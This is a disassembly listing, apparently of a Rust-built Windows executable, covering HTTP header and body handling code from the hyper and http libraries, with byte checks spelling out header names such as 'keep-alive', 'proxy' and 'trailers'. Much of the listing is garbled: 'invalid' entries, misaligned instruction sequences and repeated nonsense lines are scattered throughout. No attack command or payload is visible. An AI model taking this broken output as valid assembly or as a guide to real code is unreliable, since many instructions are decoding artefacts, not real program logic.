movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
add eax, 0xfacbe
mov r9d, 1
mov r8d, 0x42
add bl, ch
push rbp
add bl, ch
push rbp
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
add eax, 0xfaca1
mov r9d, 1
mov r8d, 0x3a
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x2f
jmp 0x14001bb95
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401167f0]
mov r9d, 1
mov r8d, 0x39
cmp dword [rax], eax
add byte [rax], al
cmp dword [rax], eax
add byte [rax], al
xor edx, edx
xor r11d, r11d
xor r10d, r10d
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r11
mov qword [rcx + 0x18], 0
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], r9
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rcx + 0x30], xmm0
mov byte [rcx + 0x40], r10b
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rcx + 0x41], eax
mov dword [rcx + 0x44], edx
add rsp, 0x80
pop rsi
ret
in al, dx
movabs al, byte [0x8948d78948000000]
invalid
shr rdi, 5
sub r14, rdi
lea r15, [rdi + rbx]
cmp rbx, r12
jne 0x14001bcb1
test r15, r15
je 0x14001bd76
test r14b, 1
jne 0x14001bd8a
mov rax, r14
or rax, 1
lea rcx, [0x14012a090]
jmp 0x14001bd94
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14001beb4
add r12, rdi
mov qword [rax], r14
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140114bd8]
jmp 0x14001bd94
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 1
mov rdi, rax
mov r14, qword [rsp + 0x30]
add r14, r15
xor eax, eax
sub rbx, r15
cmovb rbx, rax
mov r12, qword [rsp + 0x40]
sub r12, r15
test dil, 1
jne 0x14001bc7b
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rdi
lea rax, [0x14014fa88]
mov qword [rsi], rax
jmp 0x14001bdb7
lea rcx, [0x140114ae8]
mov r14d, 1
xor eax, eax
xor r15d, r15d
jmp 0x14001bd94
lea rcx, [0x14012a0a8]
mov rax, r14
mov qword [rsp + 0x20], rdi
mov rdx, r15
jl 0x14001bdbc
and byte [rcx + rcx*4 - 6], cl
sub rdx, rdi
jb 0x14001be3f
add r14, rdi
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rax
add rsp, 0xa0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov qword [rsp + 0x88], 2
mov dword [rsp + 0x88], 2
test byte [rax + rcx*4], ah
and al, 0x88
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x133d13
invalid
adc eax, dword [rax]
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
cmp eax, 0x8d480013
and al, 0x70
invalid
lea rcx, [rsp + 0x70]
jo 0x14001be23
call fcn.140108560
and edi, eax
invalid
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
sub byte [rax - 0x73], cl
and al, 0x20
lea eax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, [0x1400e9f80]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
lea eax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x70]
call fcn.140108560
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
invalid
add ah, cl
invalid
int3
int3
push rdi
push rbx
sub rsp, 0xd0
movzx eax, byte [rdx + 0x40]
lea r8d, [rax - 2]
dec al
xor r9d, r9d
cmp r8b, 6
movzx eax, al
rol byte [rcx + 0xf], 0x43
ror dword [rdi], 0xb6
ror byte [rbp + rcx*4 + 5], 0xa0
stosb byte [rdi], al
adc eax, 0x4634900
invalid
add rax, r8
rol byte [rcx + 0xf], 0x43
ror dword [rdi], 0xb6
ror byte [rbp + rcx*4 + 5], 0xa0
stosb byte [rdi], al
adc eax, 0x4634900
or byte [rcx + rax - 0x40], 0xff
jmp rax
invalid
jmp rax
movups xmm0, xmmword [rdx]
adc byte [rdx], al
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
sub dword [rsp + 0x90], eax
add byte [rax - 0x75], cl
mov qword [rsp + 0x50], rax
mov rax, qword [rdx + 0x40]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rdx + 0x20]
movups xmm1, xmmword [rdx + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rdi, qword [rsp + 0x90]
movzx esi, byte [rsp + 0x98]
cmp sil, 0x14
sete al
mov edx, esi
and dl, 0x7d
cmp dl, 0x45
sete dl
test rdi, rdi
jne 0x14001c282
or al, dl
je 0x14001c282
mov rax, qword [rcx]
mov byte [rax], 1
add esi, eax
add byte [rcx], al
mov r8, qword [rsp + 0x40]
and al, 0x40
jmp 0x14001c4c5
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c200
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
mov eax, dword [rsi]
mov eax, dword [rsi]
cmp qword [rax + 0xb8], 0
jne 0x14001c200
add byte [rax], al
add byte [rdi], cl
test dword [rdi], edi
add al, byte [rax]
add byte [rdi], cl
adc byte [rdx], al
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x25]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
adc byte [r8 - 0x75], cl
adc byte [rcx - 0x73], cl
push rsp
adc byte [0x18812492f], ah
mov ecx, dword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c576
mov r9, qword [rax + 0xb8]
test r9, r9
je 0x14001c01e
lea rcx, [rax + 0xd0]
mov rdx, qword [rax + 0xc0]
mov r8, qword [rax + 0xc8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xc8], xmm1
movups xmmword [rax + 0xb8], xmm0
add byte [rax], al
add cl, ch
loop 0x14001c03a
add byte [rax], al
add byte [rax], al
add cl, ch
loop 0x14001c03a
add byte [rax], al
add byte [rdi], cl
mov dh, 0x1a
movzx ebx, byte [rdx]
mov r8, qword [rdx + 8]
mov rsi, qword [rdx + 0x10]
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne case.default.0x14001c077
mov rdi, qword [rcx + 0x20]
mov rax, qword [rdi]
cmp byte [rax + 0x60], 0xb
jne case.default.0x14001c077
movzx eax, bl
mov eax, eax
lea r9, [0x1401769cc]
movsxd rax, dword [r9 + rax*4]
add rax, r9
jmp rax
mov eax, 7
jmp 0x14001c617
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c200
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x78], 0
jne 0x14001c200
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x27]
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c576
mov r9, qword [rax + 0x78]
test r9, r9
je 0x14001c10d
lea rcx, [rax + 0x90]
mov rdx, qword [rax + 0x80]
mov r8, qword [rax + 0x88]
call qword [r9 + 0x10]
adc byte [rax - 0x75], cl
invalid
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0x88], xmm1
movups xmmword [rax + 0x78], xmm0
jmp 0x14001c21d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c200
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0x98], 0
jne 0x14001c200
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
adc byte [rcx - 0x73], cl
push rsp
adc byte [rdx], ch
adc byte [rcx - 0x73], cl
push rsp
adc byte [rdx], ch
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c576
mov r9, qword [rax + 0x98]
test r9, r9
je 0x14001c1b7
lea rcx, [rax + 0xb0]
mov rdx, qword [rax + 0xa0]
mov r8, qword [rax + 0xa8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xa8], xmm1
movups xmmword [rax + 0x98], xmm0
jmp 0x14001c21d
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c200
mov rsi, qword [rcx + 0x20]
mov rax, qword [rsi]
cmp qword [rax + 0xd8], 0
je 0x14001c500
mov rax, qword [rcx]
mov byte [rax], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
nop
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rcx + 8]
cmp byte [rax], 0
jne 0x14001c24c
mov rax, qword [rcx + 0x20]
mov r8, qword [rax]
cmp word [r8 + 0xf8], 0
je 0x14001c59a
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c21d
mov rax, qword [rcx]
mov byte [rax], 1
cmp bl, 0xa
jb 0x14001c21d
test rsi, rsi
je 0x14001c21d
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x14001c2a2
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rsi
cmp rdx, 0xa
je 0x14001c2b5
jmp 0x14001c2f4
mov rbx, rcx
mov ecx, esi
call fcn.14002e0f0
mov rcx, rbx
cmp rdx, 0xa
jne 0x14001c2f4
cmp byte [rax], 0x6b
jne 0x14001c2f4
cmp byte [rax + 1], 0x65
jne 0x14001c2f4
cmp byte [rax + 2], 0x65
jne 0x14001c2f4
cmp byte [rax + 3], 0x70
jne 0x14001c2f4
cmp byte [rax + 4], 0x2d
jne 0x14001c2f4
cmp byte [rax + 5], 0x61
jne 0x14001c2f4
test rdi, rdi
je case.0x14000d3b5.505
mov rsi, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
cmp rdx, 0x10
je 0x14001c327
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
jmp 0x14001c38a
mov rbx, rcx
mov ecx, esi
call fcn.14002e0f0
mov rcx, rbx
cmp rdx, 0x10
jne 0x14001c38a
cmp byte [rax], 0x70
jne 0x14001c38a
cmp byte [rax + 1], 0x72
jne 0x14001c38a
cmp byte [rax + 2], 0x6f
jne 0x14001c38a
cmp byte [rax + 3], 0x78
jne 0x14001c38a
test rdi, rdi
jne 0x14001c3bf
cmp sil, 0x43
jne 0x14001c3bf
mov r8, qword [rsp + 0x40]
and al, 0x40
cmp r8, 8
jne 0x14001c3b4
mov rax, qword [rsp + 0x38]
movabs rdx, 0x7372656c69617274
cmp qword [rax], rdx
je 0x14001c3bf
mov rax, qword [rcx]
mov byte [rax], 1
jmp 0x14001c4c5
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
mov byte [rax], 1
lea rax, [rsp + 0x90]
mov rsi, rcx
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esi, ecx
mov rcx, rax
call fcn.14001e230
mov rdx, rsi
mov r8, qword [rsp + 0x40]
invalid
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsi + 0x10]
add rax, r8
add rax, 0x20
add rax, qword [rcx]
mov qword [rcx], rax
mov rcx, qword [rsi + 0x18]
cmp rax, qword [rcx]
jae 0x14001c4ae
add r8, 0x20
add eax, 0x20
lea rcx, [rsp + 0x90]
mov rsi, rdx
mov rdi, r8
call fcn.14001e230
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rcx]
add rax, rdi
add qword [rdx + 0x100], rax
mov rcx, qword [rcx]
movaps xmm0, xmmword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xa0], cl
and al, 0x90
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xa0], cl
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rdi], cl
sub byte [rsp + 0x30], al
add byte [rax], 0
add byte [rdi], cl
sub byte [rsp + 0x30], al
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
and al, 0x70
and al, 0x70
movaps xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0xb0]
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
call fcn.14001e310
cmp al, 2
jne 0x14001c21d
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x1401166e0]
movabs byte [0xba2f24448d4c000f], al
invalid
add byte [rax], al
add al, ch
xor al, ah
invalid
invalid
mov rax, qword [rdx + 0x20]
mov rax, qword [rax]
cmp byte [rax + 0x108], 0
jne 0x14001c4c5
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
and al, 0x30
mov rdx, qword [rsp + 0x38]
call qword [rax + 0x10]
test rdi, rdi
je 0x14001c21d
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov edx, dword [rsp + 0x98]
mov edx, dword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rdi + 0x10]
adc cl, ch
invalid
std
invalid
invalid
adc cl, ch
sbb eax, 0xffffffd
adc byte [rdx], al
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov r8, qword [rsp + 0x70]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rax]
lea rdx, [r8 + rdx + 0x29]
adc byte [rcx], ch
adc byte [rcx], ch
mov qword [rax], rdx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rsi]
cmp rdx, qword [rcx]
jae 0x14001c576
mov r9, qword [rax + 0xd8]
test r9, r9
je 0x14001c559
lea rcx, [rax + 0xf0]
mov rdx, qword [rax + 0xe0]
mov r8, qword [rax + 0xe8]
call qword [r9 + 0x10]
mov rax, qword [rsi]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 0xe8], xmm1
movups xmmword [rax + 0xd8], xmm0
jmp 0x14001c21d
cmp byte [rax + 0x108], 0
jne 0x14001c586
mov byte [rax + 0x108], 1
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
jmp 0x14001c21a
invalid
dec dword [rdi]
mov bh, 0x12
movzx edx, word [rdx]
mov r8, qword [rcx + 0x10]
mov r9, qword [r8]
add r9, 0x2a
mov qword [r8], r9
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax]
cmp r9, qword [rcx]
jae 0x14001c5c3
invalid
or al, 0x66
mov dword [rax + 0xf8], edx
mov word [rax + 0xf8], dx
jmp 0x14001c21d
cmp byte [rax + 0x108], 0
jne 0x14001c21d
mov byte [rax + 0x108], 1
jmp 0x14001c21d
mov eax, 3
jmp 0x14001c617
mov eax, 4
jmp 0x14001c617
mov eax, 5
jmp 0x14001c617
movzx eax, sil
test al, 0xf0
je 0x14001c617
lea r8, [0x14012a2b8]
mov edx, 0xf
mov rcx, rax
call fcn.140108620
mov eax, 6
jmp 0x14001c617
mov rax, rsi
invalid
mov r9, qword [rcx + 0x10]
mov r10, qword [r9]
add rax, r10
add rax, 0x27
mov qword [r9], rax
mov r9, qword [rcx + 0x18]
mov rcx, qword [rdi]
cmp rax, qword [r9]
jae case.0x140018f24.425
inc rdx
add rcx, 0x60
mov r14, rdx
mov r15, r8
call fcn.14001ecb0
mov rax, qword [rdi]
mov byte [rax + 0x60], bl
mov ecx, dword [r14]
mov edx, dword [r14 + 3]
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], r15
mov qword [rax + 0x70], rsi
jmp 0x14001c21d
cmp byte [rcx + 0x108], 0
jne 0x14001c25a
test edi, esp
sti
invalid
mov byte [rcx + 0x108], 1
jmp 0x14001c25a
jne 0x14001c70c
cmp r11, r12
jbe 0x14001d3a0
movzx ebx, byte [r9 + r14 + 1]
lea rdi, [r14 + 2]
mov qword [rax + 8], rdi
mov r8d, ebx
and r8b, 0x7f
add r8b, sil
movzx r8d, r8b
test bl, bl
js 0x14001c92e
invalid
invalid
add al, byte [rax]
invalid
mov byte [0x18801c704], ch
mov esi, eax
mov rsi, rax
mov rbx, rcx
mov r14, rdi
jmp 0x14001c71e
test r8, r8
je 0x14001c7d5
mov rsi, rax
mov rbx, rcx
mov r14, r12
mov rdi, rdx
add rdx, 0x10
lea rcx, [rsp + 0x20]
call fcn.14001b400
movzx eax, byte [rsp + 0x20]
movzx ecx, byte [rsp + 0x60]
cmp cl, 8
jne 0x14001c749
mov byte [rbx], al
mov byte [rbx + 0x40], 8
or cl, bpl
pop rsi
or al, 0
invalid
movups xmm0, xmmword [rsp + 0x21]
movups xmm1, xmmword [rsp + 0x31]
movups xmm2, xmmword [rsp + 0x41]
movups xmm3, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xe0], xmm3
movups xmmword [rsp + 0xd1], xmm2
movups xmmword [rsp + 0xc1], xmm1
movups xmmword [rsp + 0xb1], xmm0
mov edx, dword [rsp + 0x61]
mov dword [rsp + 0xf1], edx
xchg esp, eax
and al, 0xf1
add byte [rax], al
add byte [rbx - 0x769bdbac], cl
xchg esp, eax
and al, 0xf4
add byte [rax], al
add byte [rax + 0xb02484], cl
add byte [rax], al
xchg esp, eax
and al, 0xf1
add byte [rax], al
add byte [rbx - 0x769bdbac], cl
xchg esp, eax
and al, 0xf4
add byte [rax], al
add byte [rax + 0xb02484], cl
add byte [rax], al
mov byte [rsp + 0xf0], cl
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001da80
cmp byte [rsp + 0x20], 0
je 0x14001c808
movzx eax, byte [rsp + 0x21]
mov byte [rbx], al
mov byte [rbx + 0x40], 8
lea rcx, [rsp + 0xb0]
call fcn.14001d860
jmp 0x14001d3a7
mov r15, rcx
lea rcx, [rsp + 0x20]
mov rdi, rdx
mov rsi, rax
mov r8, rax
call fcn.14001da80
cmp byte [rsp + 0x20], 0
je 0x14001c9ba
movzx eax, byte [rsp + 0x21]
mov byte [r15], al
mov byte [r15 + 0x40], 8
jmp 0x14001d3a7
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x180], xmm2
mov qword [rsi + 8], r14
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x160]
mov r8, rsi
call fcn.14001e090
mov rdi, qword [rsp + 0x20]
movzx eax, byte [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x29]
movaps xmmword [rsp + 0x140], xmm0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x14f], rcx
test rdi, rdi
je 0x14001c7bd
mov rcx, qword [rsp + 0x14f]
mov qword [rsp + 0x88], rcx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rsp + 0x79], xmm0
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0xf0]
lea ecx, [rax - 2]
dec al
xor edx, edx
cmp cl, 6
movzx eax, al
cmovae eax, edx
movzx eax, al
lea rcx, [0x140176a10]
or eax, 0x15a153
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0xb0]
test rax, rax
je case.0x140028096.480
lea rdx, [rsp + 0xc8]
mov r8, qword [rsp + 0xb8]
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax], fs
add dword [rax], eax
add bh, bh
adc byte [rax - 0x75], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x8c
and al, 8
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x109], al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax], fs
add dword [rax], eax
add bh, bh
adc byte [rax - 0x75], cl
test byte [rax + rax], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x8c
and al, 8
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x109], al
movaps xmmword [rsp + 0x140], xmm0
mov rdx, qword [rsp + 0x118]
mov qword [rsp + 0x14f], rdx
jmp 0x14001ceea
cmp r11, rdi
jbe 0x14001d3a0
movzx esi, byte [r9 + r14 + 2]
lea rdi, [r14 + 3]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 7
jrcxz 0x14001c954
add r8, rbx
test sil, sil
jns 0x14001c701
mov dword [rax + 0x49fffffd], ebp
cmp ebx, edi
cmp r11, rdi
jbe 0x14001d3a0
movzx esi, byte [r9 + r14 + 3]
lea rdi, [r14 + 4]
mov qword [rax + 8], rdi
mov ebx, esi
and ebx, 0x7f
shl ebx, 0xe
add r8, rbx
test sil, sil
jns 0x14001c701
cmp r11, rdi
jbe 0x14001d3a0
invalid
movzx r9d, byte [r9 + r14 + 4]
add r14, 5
mov qword [rax + 8], r14
test r9b, r9b
leave
leave
js 0x14001d39d
mov rsi, rax
mov rbx, rcx
and r9d, 0x7f
shl r9d, 0x15
add r8, r9
jmp 0x14001c71e
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movaps xmmword [rsp + 0x120], xmm2
lea rcx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.14001da80
cmp byte [rsp + 0x20], 0
je 0x14001ca36
movzx eax, byte [rsp + 0x21]
mov byte [r15], al
mov byte [r15 + 0x40], 8
mov rax, qword [rsp + 0x100]
test rax, rax
je 0x14001d3a7
lea rcx, [rsp + 0x118]
mov rdx, qword [rsp + 0x108]
mov edx, dword [rsp + 0x108]
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x75], cl
mov edx, dword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
call qword [rax + 0x10]
invalid
jno 0x14001ca3d
mov r8, qword [rsp + 0x110]
call qword [rax + 0x10]
jmp 0x14001d3a7
add byte [rax], al
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
and al, 0x38
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1d0], xmm2
add dword [rax], eax
add byte [rcx + rcx*4 + 0x66], cl
or byte [rdi], cl
sub byte [rsp + 0x100], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 + 0x66], cl
or byte [rdi], cl
sub byte [rsp + 0x100], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
movaps xmm1, xmmword [rsp + 0x110]
movaps xmm2, xmmword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x20]
mov r8, rsi
call fcn.14001e090
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1b0]
mov r8, rsi
mov eax, esi
call fcn.14001e090
mov rsi, qword [rsp + 0x1a0]
test rsi, rsi
je 0x14001cb8d
mov rdi, qword [rsp + 0x198]
add byte [rax], al
cmp byte [rdi], 0x3a
jne 0x14001ce4c
lea rcx, [rsi - 5]
cmp rcx, 5
mov rax, r15
ja case.0x14001caf6.6
lea rdx, [0x1401769f8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rdi + 1], 0x70
jne case.0x14001caf6.6
cmp byte [rdi + 2], 0x61
jne case.0x14001caf6.6
add byte [rax], al
add byte [rax], al
cmp byte [rdi + 3], 0x74
jne case.0x14001caf6.6
cmp byte [rdi + 4], 0x68
jne case.0x14001caf6.6
movups xmm0, xmmword [rsp + 0x90]
adc byte [rsp + 0x90], al
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
call fcn.14001e120
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14001d4f0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0xc8]
mov qword [r15], rax
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [r15 + 8], xmm0
mov qword [r15 + 0x18], rcx
sbb byte [rcx - 0x3a], al
add eax, 0x945e9
invalid
mov byte [r15], 0
mov byte [r15 + 0x40], 8
mov rdi, qword [rsp + 0x198]
jmp 0x14001ce71
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
and al, 0x28
and al, 0x28
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0x100]
mov rdx, rdi
mov r8, rsi
call fcn.140014300
cmp qword [rsp + 0x100], 0
jne 0x14001ce07
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14001ce1a
inc byte [rcx]
add byte [rax], al
mov rcx, qword [rsp + 0x38]
